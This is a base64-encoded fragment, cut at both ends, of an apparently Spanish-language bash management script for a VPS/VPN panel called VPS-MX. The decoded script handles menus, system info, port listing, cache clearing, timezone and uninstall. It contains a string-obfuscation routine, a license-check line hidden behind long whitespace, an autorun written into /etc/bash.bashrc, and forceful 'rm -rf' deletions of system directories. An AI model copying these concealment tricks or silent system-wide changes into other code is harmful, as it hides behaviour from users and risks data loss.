ETyBQUklOQ0lQQUwgUEFSQSBFTlRSQVIgQUwgUEFORUwgIgogICBlY2hvIC1lICIgIFwwMzNbMTszN20gICAgICAgICAgICAgICBzdWRvIG1lbnUgICAgICAgICAgICAgXDAzM1swOzM3bSIgJiYgbXNnIC1iYXIyCnJtIC1yZiAkSE9NRS9saXN0YS1hcnEKZWxzZQppbnZhbGlkX2tleQpmaQpleGl0IDEKfQpmdW5jYW9faWRpb21hICgpIHsKdHB1dCBjdXUxICYmIHRwdXQgZGwxCm1zZyAtYmFyMgpkZWNsYXJlIC1BIGlkaW9tYT0oIFsxXT0iZW4gRW5nbGlzaCIgWzJdPSJmciBGcmFuY2giIFszXT0iZGUgR2VybWFuIiBbNF09Iml0IEl0YWxpYW4iIFs1XT0icGwgUG9saXNoIiBbNl09InB0IFBvcnR1Z3Vlc2UiIFs3XT0iZXMgU3BhbmlzaCIgWzhdPSJ0ciBUdXJraXNoIiApCmZvciAoKGk9MTsgaTw9MTI7IGkrKykpOyBkbwp2YWxvcjE9IiQoZWNobyAke2lkaW9tYVskaV19fGN1dCAtZCcgJyAtZjIpIgpbWyAteiAkdmFsb3IxIF1dICYmIGJyZWFrCnZhbG9yMT0iXDAzM1sxOzMybVskaV0gPiBcMDMzWzE7MzNtJHZhbG9yMSIKICAgIHdoaWxlIFtbICR7I3ZhbG9yMX0gLWx0IDM3IF1dOyBkbwogICAgICAgdmFsb3IxPSR2YWxvcjEiICIKICAgIGRvbmUKZWNobyAtbmUgIiR2YWxvcjEiCmxldCBpKysKdmFsb3IyPSIkKGVjaG8gJHtpZGlvbWFbJGldfXxjdXQgLWQnICcgLWYyKSIKW1sgLXogJHZhbG9yMiBdXSAmJiB7CiAgIGVjaG8gLWUgIiAiCiAgIGJyZWFrCiAgIH0KdmFsb3IyPSJcMDMzWzE7MzJtWyRpXSA+IFwwMzNbMTszM20kdmFsb3IyIgogICAgIHdoaWxlIFtbICR7I3ZhbG9yMn0gLWx0IDM3IF1dOyBkbwogICAgICAgIHZhbG9yMj0kdmFsb3IyIiAiCiAgICAgZG9uZQplY2hvIC1uZSAiJHZhbG9yMiIKbGV0IGkrKwp2YWxvcjM9IiQoZWNobyAke2lkaW9tYVskaV19fGN1dCAtZCcgJyAtZjIpIgpbWyAteiAkdmFsb3IzIF1dICYmIHsKICAgZWNobyAtZSAiICIKICAgYnJlYWsKICAgfQp2YWxvcjM9IlwwMzNbMTszMm1bJGldID4gXDAzM1sxOzMzbSR2YWxvcjMiCiAgICAgd2hpbGUgW1sgJHsjdmFsb3IzfSAtbHQgMzcgXV07IGRvCiAgICAgICAgdmFsb3IzPSR2YWxvcjMiICIKICAgICBkb25lCmVjaG8gLWUgIiR2YWxvcjMiCmRvbmUKbXNnIC1iYXIyCnVuc2V0IHNlbGVjdGlvbgp3aGlsZSBbWyAke3NlbGVjdGlvbn0gIT0gQChbMS04XSkgXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtJChmdW5fdHJhbnMgIiAg4pa6IFNlbGVjaW9uZSB1bmEgT3BjaW9uIik6ICIgJiYgcmVhZCBzZWxlY3Rpb24KdHB1dCBjdXUxICYmIHRwdXQgZGwxCmRvbmUKW1sgLWUgL2V0Yy9WUFMtTVgvdGV4dG8tbXggXV0gJiYgcm0gL2V0Yy9WUFMtTVgvdGV4dG8tbXgKZWNobyAiJChlY2hvICR7aWRpb21hWyRzZWxlY3Rpb25dfXxjdXQgLWQnICcgLWYxKSIgPiAke1NDUGlkaW9tYX0KfQoKCiBtZW51X2luZm8gKCkgewptZXVfaXAgJj4vZGV2L251bGwKI2V4cG9ydCAtZiBmdW5faXAKaWYgW1sgIiQoZ3JlcCAtYyAiVWJ1bnR1IiAvZXRjL2lzc3VlLm5ldCkiID0gIjEiIF1dOyB0aGVuCnN5c3RlbT0kKGN1dCAtZCcgJyAtZjEgL2V0Yy9pc3N1ZS5uZXQpCnN5c3RlbSs9JChlY2hvICcgJykKc3lzdGVtKz0kKGN1dCAtZCcgJyAtZjIgL2V0Yy9pc3N1ZS5uZXQgfGF3ayAtRiAiLiIgJ3twcmludCAkMX0nKQplbGlmIFtbICIkKGdyZXAgLWMgIkRlYmlhbiIgL2V0Yy9pc3N1ZS5uZXQpIiA9ICIxIiBdXTsgdGhlbgpzeXN0ZW09JChjdXQgLWQnICcgLWYxIC9ldGMvaXNzdWUubmV0KQpzeXN0ZW0rPSQoZWNobyAnICcpCnN5c3RlbSs9JChjdXQgLWQnICcgLWYzIC9ldGMvaXNzdWUubmV0KQplbHNlCnN5c3RlbT0kKGN1dCAtZCcgJyAtZjEgL2V0Yy9pc3N1ZS5uZXQpCmZpCgojX3JhbT0kKHByaW50ZiAnJS0xMHMnICIkKGZyZWUgLWggfCBncmVwIC1pIG1lbSB8IGF3ayB7J3ByaW50ICQyJ30pIikKX3Vzb3I9JChwcmludGYgJyUtOHMnICIkKGZyZWUgLW0gfCBhd2sgJ05SPT0ye3ByaW50ZiAiJS4yZiUlIiwgJDMqMTAwLyQyIH0nKSIpCl9yYW09JChwcmludGYgJyAlLThzJyAiJChmcmVlIC1oIHwgZ3JlcCAtaSBtZW0gfCBhd2sgeydwcmludCAkMid9KSIpCl9yYW0yPSQocHJpbnRmICcgJS04cycgIiQoZnJlZSAtaCB8IGdyZXAgLWkgbWVtIHwgYXdrIHsncHJpbnQgJDQnfSkiKQpfc3lzdGVtPSQocHJpbnRmICclLTlzJyAiJHN5c3RlbSIpCiNfdXNvcD0kKHByaW50ZiAnJS0xcycgIiQodG9wIC1ibjEgfCBhd2sgJy9DcHUvIHsgY3B1ID0gIiIgMTAwIC0gJDggIiUiIH07IEVORCB7IHByaW50IGNwdSB9JykiKQojX2NvcmU9JChwcmludGYgJyUtOHMnICIkKGdyZXAgLWMgY3B1WzAtOV0gL3Byb2Mvc3RhdCkiKQpfY29yZT0kKHByaW50ZiAnJS04cycgIiQoZ3JlcCAtYyBjcHVbMC05XSAvcHJvYy9zdGF0KSIpCl91c29wPSQodG9wIC1ibjEgfCBzZWQgLXJuICczcy9bXjAtOV0qIChbMC05XC5dKykgLiovXDEvcDs0cy8uKiwgKFswLTldKykgLiovXDEvcCcgfCB0ciAnXG4nICcgJykKCm1vZGVsbzE9JChwcmludGYgJyUtMTFzJyAiJChsc2NwdSB8IGdyZXAgQXJjaCB8IHNlZCAncy9cc1wrLywvZycgfCBjdXQgLWQgLCAtZjIpIikKbWI9JChwcmludGYgJyUtOHMnICIkKGZyZWUgLWggfCBncmVwIE1lbSB8IHNlZCAncy9cc1wrLywvZycgfCBjdXQgLWQgLCAtZjYpIikKX2hvcmE9JChwcmludGYgJyUoJUg6JU06JVMpVCcpCl9ob2plPSQoZGF0ZSArJyVkLyVtLyVZJykKCmVjaG8gLWUgIlwwMzNbMTszN20gT1MgXDAzM1sxOzMxbTogXDAzM1sxOzMybSRfc3lzdGVtIFwwMzNbMTszN21IT1JBXDAzM1sxOzMxbTogXDAzM1sxOzMybSRfaG9yYSAgXDAzM1sxOzM3bUlQXDAzM1sxOzMxbTpcMDMzWzE7MzJtICQobWV1X2lwKSIKZWNobyAtZSAiXDAzM1sxOzM3bSBSQU1cZVszMW06IFwwMzNbMTszMm0kX3JhbSBcMDMzWzE7MzdtVVNBRE9cMDMzWzE7MzFtOiBcMDMzWzE7MzJtJG1iXDAzM1sxOzM3bSBMSUJSRVwwMzNbMTszMW06IFwwMzNbMTszMm0kX3JhbTIiCgp9CgoKb2Z1cyAoKSB7CnVuc2V0IHR4dG9mdXMKbnVtYmVyPSQoZXhwciBsZW5ndGggJDEpCmZvcigoaT0xOyBpPCRudW1iZXIrMTsgaSsrKSk7IGRvCnR4dFskaV09JChlY2hvICIkMSIgfCBjdXQgLWIgJGkpCmNhc2UgJHt0eHRbJGldfSBpbgoiLiIpdHh0WyRpXT0iQyI7OwoiQyIpdHh0WyRpXT0iLiI7OwoiMyIpdHh0WyRpXT0iQCI7OwoiQCIpdHh0WyRpXT0iMyI7OwoiNSIpdHh0WyRpXT0iOSI7OwoiOSIpdHh0WyRpXT0iNSI7OwoiNiIpdHh0WyRpXT0iRCI7OwoiRCIpdHh0WyRpXT0iNiI7OwoiSiIpdHh0WyRpXT0iWiI7OwoiWiIpdHh0WyRpXT0iSiI7Owplc2FjCnR4dG9mdXMrPSIke3R4dFskaV19Igpkb25lCmVjaG8gIiR0eHRvZnVzIiB8IHJldgp9ClNQUiAmCmxpbXBhcl9jYWNoZXMgKCkgewooClZFPSJcMDMzWzE7MzNtIiAmJiBNQT0iXDAzM1sxOzMxbSIgJiYgREU9IlwwMzNbMTszMm0iCndoaWxlIFtbICEgLWUgL3RtcC9hYmMgXV07IGRvCkErPSIjIgplY2hvIC1lICIke1ZFfVske01BfSR7QX0ke1ZFfV0iID4mMgpzbGVlcCAwLjNzCnRwdXQgY3V1MSAmJiB0cHV0IGRsMQpkb25lCmVjaG8gLWUgIiR7VkV9WyR7TUF9JHtBfSR7VkV9XSAtICR7REV9WzEwMCVdIiA+JjIKcm0gL3RtcC9hYmMKKSAmCmVjaG8gMyA+IC9wcm9jL3N5cy92bS9kcm9wX2NhY2hlcyAmPi9kZXYvbnVsbApzbGVlcCAxcwpzeXNjdGwgLXcgdm0uZHJvcF9jYWNoZXM9MyAmPi9kZXYvbnVsbAphcHQtZ2V0IGF1dG9jbGVhbiAteSAmPi9kZXYvbnVsbApzbGVlcCAxcwphcHQtZ2V0IGNsZWFuIC15ICY+L2Rldi9udWxsCnJtIC90bXAvKiAmPi9kZXYvbnVsbAp0b3VjaCAvdG1wL2FiYwpzbGVlcCAwLjVzCm1zZyAtYmFyCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiUFJPQ0VTTyBDT05DTFVJRE8iKSIKbXNnIC1iYXIKfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCVtbICEgLWQgL3Vzci9sb2NhbC9saWJyZXJpYSBdXSAmJiBleGl0CmZ1bl9hdXRvcnVuICgpIHsKaWYgW1sgLWUgL2V0Yy9iYXNoLmJhc2hyYy1iYWt1cCBdXTsgdGhlbgptdiAtZiAvZXRjL2Jhc2guYmFzaHJjLWJha3VwIC9ldGMvYmFzaC5iYXNocmMKY2F0IC9ldGMvYmFzaC5iYXNocmMgfCBncmVwIC12ICIvZXRjL1ZQUy1NWC9tZW51IiA+IC90bXAvYmFzaAptdiAtZiAvdG1wL2Jhc2ggL2V0Yy9iYXNoLmJhc2hyYwptc2cgLWFtYSAiJChmdW5fdHJhbnMgIlJFTU9WSURPIENPTiBFWElUTyIpIgptc2cgLWJhcgplbGlmIFtbIC1lIC9ldGMvYmFzaC5iYXNocmMgXV07IHRoZW4KY2F0IC9ldGMvYmFzaC5iYXNocmN8Z3JlcCAtdiAvYmluL21lbnUgPiAvZXRjL2Jhc2guYmFzaHJjLjIKZWNobyAnL2V0Yy9WUFMtTVgvbWVudScgPj4gL2V0Yy9iYXNoLmJhc2hyYy4yCmNwIC9ldGMvYmFzaC5iYXNocmMgL2V0Yy9iYXNoLmJhc2hyYy1iYWt1cAptdiAtZiAvZXRjL2Jhc2guYmFzaHJjLjIgL2V0Yy9iYXNoLmJhc2hyYwptc2cgLWFtYSAiJChmdW5fdHJhbnMgIkFVVE8gSU5JQ0lBTElaQVIgQUdSRUdBRE8iKSIKbXNnIC1iYXIKZmkKfQpmdW5fYmFyICgpIHsKY29tYW5kbz0iJDEiCiBfPSQoCiRjb21hbmRvID4gL2Rldi9udWxsIDI+JjEKKSAmID4gL2Rldi9udWxsCnBpZD0kIQp3aGlsZSBbWyAtZCAvcHJvYy8kcGlkIF1dOyBkbwplY2hvIC1uZSAiIFwwMzNbMTszM21bIgogICBmb3IoKGk9MDsgaTwxMDsgaSsrKSk7IGRvCiAgIGVjaG8gLW5lICJcMDMzWzE7MzFtIyMiCiAgIHNsZWVwIDAuMgogICBkb25lCmVjaG8gLW5lICJcMDMzWzE7MzNtXSIKc2xlZXAgMXMKZWNobwp0cHV0IGN1dTEKdHB1dCBkbDEKZG9uZQplY2hvIC1lICIgXDAzM1sxOzMzbVtcMDMzWzE7MzFtIyMjIyMjIyMjIyMjIyMjIyMjIyNcMDMzWzE7MzNtXSAtIFwwMzNbMTszMm0xMDAlXDAzM1swbSIKc2xlZXAgMXMKfQoKbWV1X2lwICgpIHsKaWYgW1sgLWUgL2V0Yy9WUFMtTVgvTUVVSVB2cHMgXV07IHRoZW4KZWNobyAiJChjYXQgL2V0Yy9WUFMtTVgvTUVVSVB2cHMpIgplbHNlCk1FVV9JUD0kKHdnZXQgLXFPLSBpZmNvbmZpZy5tZSkKZWNobyAiJE1FVV9JUCIgPiAvZXRjL1ZQUy1NWC9NRVVJUHZwcwpmaQp9CmZ1bl9pcCAoKSB7CmlmIFtbIC1lIC9ldGMvVlBTLU1YL01FVUlQdnBzIF1dOyB0aGVuCklQPSIkKGNhdCAvZXRjL1ZQUy1NWC9NRVVJUHZwcykiCmVsc2UKTUVVX0lQPSQod2dldCAtcU8tIGlmY29uZmlnLm1lKQplY2hvICIkTUVVX0lQIiA+IC9ldGMvVlBTLU1YL01FVUlQdnBzCmZpCn0KCmZ1bl9ldGggKCkgewpldGg9JChpZmNvbmZpZyB8IGdyZXAgLXYgaW5ldDYgfCBncmVwIC12IGxvIHwgZ3JlcCAtdiAxMjcuMC4wLjEgfCBncmVwICJlbmNhcDpFdGhlcm5ldCIgfCBhd2sgJ3twcmludCAkMX0nKQogICAgW1sgJGV0aCAhPSAiIiBdXSAmJiB7CiAgICBtc2cgLWJhcgogICAgbXNnIC1hbWEgIiAkKGZ1bl90cmFucyAiQXBsaWNhciBlbCBzaXN0ZW1hIHBhcmEgbWVqb3JhciBsb3MgcGFxdWV0ZXMgU1NIPyIpIgogICAgbXNnIC1hbWEgIiAkKGZ1bl90cmFucyAiT3BjaW9uZXMgcGFyYSB1c3VhcmlvcyBhdmFuemFkb3MiKSIKICAgIG1zZyAtYmFyCiAgICByZWFkIC1wICIgW1MvTl06ICIgLWUgLWkgbiBzc2hzbgogICAgICAgICAgIFtbICIkc3Noc24iID0gQChzfFN8eXxZKSBdXSAmJiB7CiAgICAgICAgICAgZWNobyAtZSAiJHtjb3JbMV19ICQoZnVuX3RyYW5zICJDb3JyZWNjaW9uIGRlIHByb2JsZW1hcyBkZSBwYXF1ZXRlcyBlbiBTU0ggLi4uIikiCiAgICAgICAgICAgZWNobyAtZSAiICQoZnVuX3RyYW5zICLCv0N1YWwgZXMgbGEgdGFzYSBSWD8iKSIKICAgICAgICAgICBlY2hvIC1uZSAiWyAxIC0gOTk5OTk5OTk5IF06ICI7IHJlYWQgcngKICAgICAgICAgICBbWyAiJHJ4IiA9ICIiIF1dICYmIHJ4PSI5OTk5OTk5OTkiCiAgICAgICAgICAgZWNobyAtZSAiICQoZnVuX3RyYW5zICLCv0N1YWwgZXMgbGEgdGFzYSBUWD8iKSIKICAgICAgICAgICBlY2hvIC1uZSAiWyAxIC0gOTk5OTk5OTk5IF06ICI7IHJlYWQgdHgKICAgICAgICAgICBbWyAiJHR4IiA9ICIiIF1dICYmIHR4PSI5OTk5OTk5OTkiCiAgICAgICAgICAgYXB0LWdldCBpbnN0YWxsIGV0aHRvb2wgLXkgPiAvZGV2L251bGwgMj4mMQogICAgICAgICAgIGV0aHRvb2wgLUcgJGV0aCByeCAkcnggdHggJHR4ID4gL2Rldi9udWxsIDI+JjEKICAgICAgICAgICB9CiAgICAgbXNnIC1iYXIKICAgICB9Cn0Kb3Nfc3lzdGVtICgpIHsKc3lzdGVtPSQoZWNobyAkKGNhdCAtbiAvZXRjL2lzc3VlIHxncmVwIDEgfGN1dCAtZCcgJyAtZjYsNyw4IHxzZWQgJ3MvMS8vJyB8c2VkICdzLyAgICAgIC8vJykpCmVjaG8gJHN5c3RlbXxhd2sgJ3twcmludCAkMSwgJDJ9Jwp9CmxhY2FzaXRhKCl7CnVuc2V0IHB1ZXJ0b3MKCWRlY2xhcmUgLUEgcG9ydAoJbG9jYWwgcG9ydGFzVkFSPSQobHNvZiAtViAtaSB0Y3AgLVAgLW4gfCBncmVwIC12ICJFU1RBQkxJU0hFRCIgfGdyZXAgLXYgIkNPTU1BTkQiIHwgZ3JlcCAiTElTVEVOIikKCSNsb2NhbCBwb3J0YXNWQVI9JChsc29mIC1WIC1pIHRjcCAtUCAtbiB8IGdyZXAgLXYgIkVTVEFCTElTSEVEIiB8Z3JlcCAtdiAiQ09NTUFORCIgfCBncmVwICJMSVNURU4iIHwgZ3JlcCAtdiAnc3lzdGVtZC1yZXNvbHZlJykKCWxvY2FsIE5PUkVQRUFUCglsb2NhbCByZVEKCWxvY2FsIFBvcnQKCXdoaWxlIHJlYWQgcG9ydDsgZG8KCQlyZVE9JChlY2hvICR7cG9ydH18YXdrICd7cHJpbnQgJDF9JykKCQlQb3J0PSQoZWNobyAke3BvcnR9IHwgYXdrICd7cHJpbnQgJDl9JyB8IGF3ayAtRiAiOiIgJ3twcmludCAkMn0nKQoJCVtbICQoZWNobyAtZSAkTk9SRVBFQVR8Z3JlcCAtdyAiJFBvcnQiKSBdXSAmJiBjb250aW51ZQoJCU5PUkVQRUFUKz0iJFBvcnRcbiIKCQljYXNlICR7cmVRfSBpbgoJCQlzcXVpZHxzcXVpZDMpCgkJCVtbIC16ICR7cG9ydFtTUURdfSBdXSAmJiBsb2NhbCBwb3J0W1NRRF09IlwwMzNbMTszMW0gU1FVSUQ6IFwwMzNbMTszMm0iCgkJCXBvcnRbU1FEXSs9IiRQb3J0ICI7OwoJCQlzeXN0ZW1kLXJ8c3lzdGVtZC1yZXxzeXN0ZW1kLXJlc29sdikKCQkJW1sgLXogJHtwb3J0W21kXX0gXV0gJiYgbG9jYWwgcG9ydFttZF09IlwwMzNbMTszMW0gU1lTVEVNRDogXDAzM1sxOzMybSIKCQkJcG9ydFttZF0rPSIkUG9ydCAiOzsKCQkJYXBhY2hlfGFwYWNoZTIpCgkJCVtbIC16ICR7cG9ydFtBUENdfSBdXSAmJiBsb2NhbCBwb3J0W0FQQ109IlwwMzNbMTszMW0gQVBBQ0hFOiBcMDMzWzE7MzJtIgoJCQlwb3J0W0FQQ10rPSIkUG9ydCAiOzsKCQkJbmdpbngpCgkJCVtbIC16ICR7cG9ydFtOR119IF1dICYmIGxvY2FsIHBvcnRbTkddPSJcMDMzWzE7MzFtIE5HSU5YOiBcMDMzWzE7MzJtIgoJCQlwb3J0W05HXSs9IiRQb3J0ICI7OwoJCQlzc2h8c3NoZCkKCQkJW1sgLXogJHtwb3J0W1NTSF19IF1dICYmIGxvY2FsIHBvcnRbU1NIXT0iXDAzM1sxOzMxbSBTU0g6IFwwMzNbMTszMm0iCgkJCXBvcnRbU1NIXSs9IiRQb3J0ICI7OwoJCQlkcm9wYmVhcikKCQkJW1sgLXogJHtwb3J0W0RQQl19IF1dICYmIGxvY2FsIHBvcnRbRFBCXT0iXDAzM1sxOzMxbSBEUk9QQkVBUjogXDAzM1sxOzMybSIKCQkJcG9ydFtEUEJdKz0iJFBvcnQgIjs7CgkJCXNzc2VydmVyfHNzLXNlcnZlcikKCQkJW1sgLXogJHtwb3J0W1NTVl19IF1dICYmIGxvY2FsIHBvcnRbU1NWXT0iXDAzM1sxOzMxbSBTSEFET1dTT0NLUzogXDAzM1sxOzMybSIKCQkJcG9ydFtTU1ZdKz0iJFBvcnQgIjs7CgkJCW9iZnMtc2VydikKCQkJW1sgLXogJHtwb3J0W09CXX0gXV0gJiYgbG9jYWwgcG9ydFtPQl09IlwwMzNbMTszMW0gT0JGUzogXDAzM1sxOzMybSIKCQkJcG9ydFtPQl0rPSIkUG9ydCAiOzsKCQkJdHJvamFuLWdvKQoJCQlbWyAteiAke3BvcnRbR09dfSBdXSAmJiBsb2NhbCBwb3J0W0dPXT0iXDAzM1sxOzMxbSBUUk9KQU4gR086IFwwMzNbMTszMm0iCgkJCXBvcnRbR09dKz0iJFBvcnQgIjs7CgkJCXRyb2phbikKCQkJW1sgLXogJHtwb3J0W3Ryb119IF1dICYmIGxvY2FsIHBvcnRbdHJvXT0iXDAzM1sxOzMxbSBUUk9KQU46IFwwMzNbMTszMm0iCgkJCXBvcnRbdHJvXSs9IiRQb3J0ICI7OwoJCQlvcGVudnBuKQoJCQlbWyAteiAke3BvcnRbT1ZQTl19IF1dICYmIGxvY2FsIHBvcnRbT1ZQTl09IlwwMzNbMTszMW0gT1BFTlZQTi1UQ1A6IFwwMzNbMTszMm0iCgkJCXBvcnRbT1ZQTl0rPSIkUG9ydCAiOzsKCQkJc3R1bm5lbDR8c3R1bm5lbCkKCQkJW1sgLXogJHtwb3J0W1NTTF19IF1dICYmIGxvY2FsIHBvcnRbU1NMXT0iXDAzM1sxOzMxbSBTU0w6IFwwMzNbMTszMm0iCgkJCXBvcnRbU1NMXSs9IiRQb3J0ICI7OwoJCQlzdHVubmVsNSkKCQkJW1sgLXogJHtwb3J0W1NTTDVdfSBdXSAmJiBsb2NhbCBwb3J0W1NTTDVdPSJcMDMzWzE7MzFtIFNUVU5ORUw1OiBcMDMzWzE7MzJtIgoJCQlwb3J0W1NTTDVdKz0iJFBvcnQgIjs7CgkJCXB5dGhvbnxweXRob24zKQoJCQlbWyAteiAke3BvcnRbUFkzXX0gXV0gJiYgbG9jYWwgcG9ydFtQWTNdPSJcMDMzWzE7MzFtIFBZVEhPTjogXDAzM1sxOzMybSIKCQkJcG9ydFtQWTNdKz0iJFBvcnQgIjs7CgkJCW5vZGUpCgkJCVtbIC16ICR7cG9ydFtXU119IF1dICYmIGxvY2FsIHBvcnRbV1NdPSJcMDMzWzE7MzFtIFdFQlNPQ0tFVDogXDAzM1sxOzMybSIKCQkJcG9ydFtXU10rPSIkUG9ydCAiOzsKCQkJdjJyYXkpCgkJCVtbIC16ICR7cG9ydFtWMlJdfSBdXSAmJiBsb2NhbCBwb3J0W1YyUl09IlwwMzNbMTszMW0gVjJSQVk6IFwwMzNbMTszMm0iCgkJCXBvcnRbVjJSXSs9IiRQb3J0ICI7OwoJCQliYWR2cG4tdWQpCgkJCVtbIC16ICR7cG9ydFtCQURdfSBdXSAmJiBsb2NhbCBwb3J0W0JBRF09IlwwMzNbMTszMW0gQkFEVlBOOiBcMDMzWzE7MzJtIgoJCQlwb3J0W0JBRF0rPSIkUG9ydCAiOzsKCQkJCgkJZXNhYwoJZG9uZSA8PDwgIiR7cG9ydGFzVkFSfSIKCgkjVURQCglsb2NhbCBwb3J0YXNWQVI9JChsc29mIC1WIC1pIHVkcCAtUCAtbiB8IGdyZXAgLXYgIkVTVEFCTElTSEVEIiB8Z3JlcCAtdiAiQ09NTUFORCIpCglsb2NhbCBOT1JFUEVBVAoJbG9jYWwgcmVRCglsb2NhbCBQb3J0Cgl3aGlsZSByZWFkIHBvcnQ7IGRvCgkJcmVRPSQoZWNobyAke3BvcnR9fGF3ayAne3ByaW50ICQxfScpCgkJUG9ydD0kKGVjaG8gJHtwb3J0fSB8IGF3ayAne3ByaW50ICQ5fScgfCBhd2sgLUYgIjoiICd7cHJpbnQgJDJ9JykKCQlbWyAkKGVjaG8gLWUgJE5PUkVQRUFUfGdyZXAgLXcgIiRQb3J0IikgXV0gJiYgY29udGludWUKCQlOT1JFUEVBVCs9IiRQb3J0XG4iCgkJY2FzZSAke3JlUX0gaW4KCQkJb3BlbnZwbikKCQkJW1sgLXogJHtwb3J0W09WUE5dfSBdXSAmJiBsb2NhbCBwb3J0W09WUE5dPSJcMDMzWzE7MzFtIE9QRU5WUE4tVURQOiBcMDMzWzE7MzJtIgoJCQlwb3J0W09WUE5dKz0iJFBvcnQgIjs7CgkJCWRucy1zZXJ2ZSkKCQkJW1sgLXogJHtwb3J0W1NMT1ddfSBdXSAmJiBsb2NhbCBwb3J0W1NMT1ddPSJcMDMzWzE7MzFtIFNsb3dETlM6IFwwMzNbMTszMm0iCgkJCXBvcnRbU0xPV10rPSIkUG9ydCAiOzsKCQkJI3N0dW5uZWw1KQoJCQkjW1sgLXogJHtwb3J0W1NTTF19IF1dICYmIGxvY2FsIHBvcnRbU1NMXT0iXDAzM1sxOzMxbSBTU0w6IFwwMzNbMTszMm0iCgkJCSNwb3J0W1NTTF0rPSIkUG9ydCAiOzsKCQllc2FjCglkb25lIDw8PCAiJHtwb3J0YXNWQVJ9IgpbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICd3aXJlZ3VhcmQnfGhlYWQgLTEpIF1dICYmIHsKCQlpZiBbWyAhICQod2d8Z3JlcCAtdyAnaW50ZXJmYWNlJykgPSAiIiBdXTsgdGhlbgoJCQl3Zz0kKHdnfGdyZXAgLXcgJ3BvcnQnfGF3ayAtRiAnICcgJ3twcmludCAkM30nKQoJCQlwb3J0W3dnXT0iXDAzM1sxOzMxbSBXSVJFR1VBUkQ6XDAzM1sxOzMybSAkd2ciCgkJZmkKCX0KCWs9MQoKCWZvciBsaW5lIGluICIke3BvcnRbQF19IjsgZG8KCQlbWyAteiAiJGxpbmUiIF1dICYmIGNvbnRpbnVlCgkJbGV0IFJFU1RPPWslMgoKCQlpZiBbWyAkUkVTVE8gLWVxIDAgXV07IHRoZW4KCQkJcHVlcnRvcys9IiRsaW5lXG4iCgkJZWxzZQoJCQlwdWVydG9zKz0iJGxpbmUtIgoJCWZpCgkJbGV0IGsrKwoKCWRvbmUKCgllY2hvIC1lICIkcHVlcnRvcyJ8Y29sdW1uIC10IC1zICctJwoJfQoJCnJlbW92ZV9zY3JpcHQgKCkgewpjbGVhcgpjbGVhciAKI21zZyAtYmFyCm1zZyAtdGl0Cm1zZyAtYW1hICIgICAgICAgICAgwr8gREVTRUEgREVTSU5TVEFMQVIgU0NSSVBUID8iCm1zZyAtYmFyCmVjaG8gLWUgIiBFc3RvIGJvcnJhcmEgdG9kb3MgbG9zIGFyY2hpdm9zIGRlbCBzY3JpcCBWUFNfTVgiCm1zZyAtYmFyCndoaWxlIFtbICR7eWVzbm99ICE9IEAoc3xTfHl8WXxufE4pIF1dOyBkbwpyZWFkIC1wICIgW1MvTl06ICIgeWVzbm8KdHB1dCBjdXUxICYmIHRwdXQgZGwxCmRvbmUKaWYgW1sgJHt5ZXNub30gPSBAKHN8U3x5fFkpIF1dOyB0aGVuCnJtIC1yZiAke1NDUGRpcn0gJj4vZGV2L251bGwKcm0gLXJmICR7U0NQdXNyfSAmPi9kZXYvbnVsbApybSAtcmYgJHtTQ1BpbnN0fSAmPi9kZXYvbnVsbApbWyAhIC1kIC91c3IvbG9jYWwvbGliL3VidW50biBdXSAmJiBybSAtcmYgL3Vzci9sb2NhbC9saWIvdWJ1bnRuCltbICEgLWQgL3Vzci9zaGFyZS9tZWRpYXB0cmUvbG9jYWwvbG9nIF1dICYmIHJtIC1yZiAvdXNyL3NoYXJlL21lZGlhcHRyZS9sb2NhbC9sb2cKW1sgISAtZCAvdXNyL2xvY2FsL3Byb3RlYyBdXSAmJiBybSAtcmYgL3Vzci9sb2NhbC9wcm90ZWMKW1sgLWUgL2Jpbi9WUFNNWCBdXSAmJiBybSAvYmluL1ZQU01YCltbIC1lIC91c3IvYmluL1ZQU01YIF1dICYmIHJtIC91c3IvYmluL1ZQU01YCltbIC1lIC9iaW4vbWVudSBdXSAmJiBybSAvYmluL21lbnUKW1sgLWUgL3Vzci9iaW4vbWVudSBdXSAmJiBybSAvdXNyL2Jpbi9tZW51CmNkICRIT01FCmZpCnN1ZG8gYXB0LWdldCAtLXB1cmdlIHJlbW92ZSBzcXVpZCAteSA+IC9kZXYvbnVsbCAyPiYxCnN1ZG8gYXB0LWdldCAtLXB1cmdlIHJlbW92ZSBzdHVubmVsNCAteSA+IC9kZXYvbnVsbCAyPiYxCnN1ZG8gYXB0LWdldCAtLXB1cmdlIHJlbW92ZSBkcm9wYmVhciAteSA+IC9kZXYvbnVsbCAyPiYxCnN1ZG8gYXB0LWdldCBhdXRvcmVtb3ZlIC15ICY+L2Rldi9udWxsCn0KaG9yYXMoKXsKI2NvZGUgYnkgcnVmdTk5Cm1zZyAtYmFyCmVjaG8gLWUgIglcZVs0MW1BQ1RVQUxJWkFSIEhPUkEgTE9DQUxcZVswbSIKbXNnIC1iYXIKCW49MQogICAgZm9yIGkgaW4gJChscyAvdXNyL3NoYXJlL3pvbmVpbmZvL0FtZXJpY2EpOyBkbwogICAgICAgIGxvYz0kKGVjaG8gJGl8YXdrIC1GICI6IiAne3ByaW50ICQxfScpCiAgICAgICAgem9uYT0kKHByaW50ZiAnJS0xMnMnICIkbG9jIikKICAgICAgICBlY2hvIC1lICIgXGVbMzdtIFskbl0gXGVbMzFtPiBcZVszMm0kem9uYSIKICAgICAgICByWyRuXT0kem9uYQogICAgICAgIHNlbGVjPSIkbiIKICAgICAgICBsZXQgbisrIAogICAgZG9uZQogICBtc2cgLWJhcgogICAgb3BjaT0kKHNlbGVjdGlvbl9mdW4gJHNlbGVjKQogIHJtIC1yZiAvZXRjL2xvY2FsdGltZSA+IC9kZXYvbnVsbCAyPiYxCiAgZWNobyAiQW1lcmljYS8ke3JbJG9wY2ldfSIgPiAvZXRjL3RpbWV6b25lCmxuIC1mcyAvdXNyL3NoYXJlL3pvbmVpbmZvL0FtZXJpY2EvJHtyWyRvcGNpXX0gL2V0Yy9sb2NhbHRpbWUgPiAvZGV2L251bGwgMj4mMQpkcGtnLXJlY29uZmlndXJlIC0tZnJvbnRlbmQgbm9uaW50ZXJhY3RpdmUgdHpkYXRhID4gL2Rldi9udWxsIDI+JjEgJiYgZWNobyAtZSAiXDAzM1sxOzMybSBbSE9SQSBBQ1RVQUxJWkFEQV0iIHx8IGVjaG8gLWUgIlwwMzNbMTszMW0gW0hPUkEgTk8gQUNUV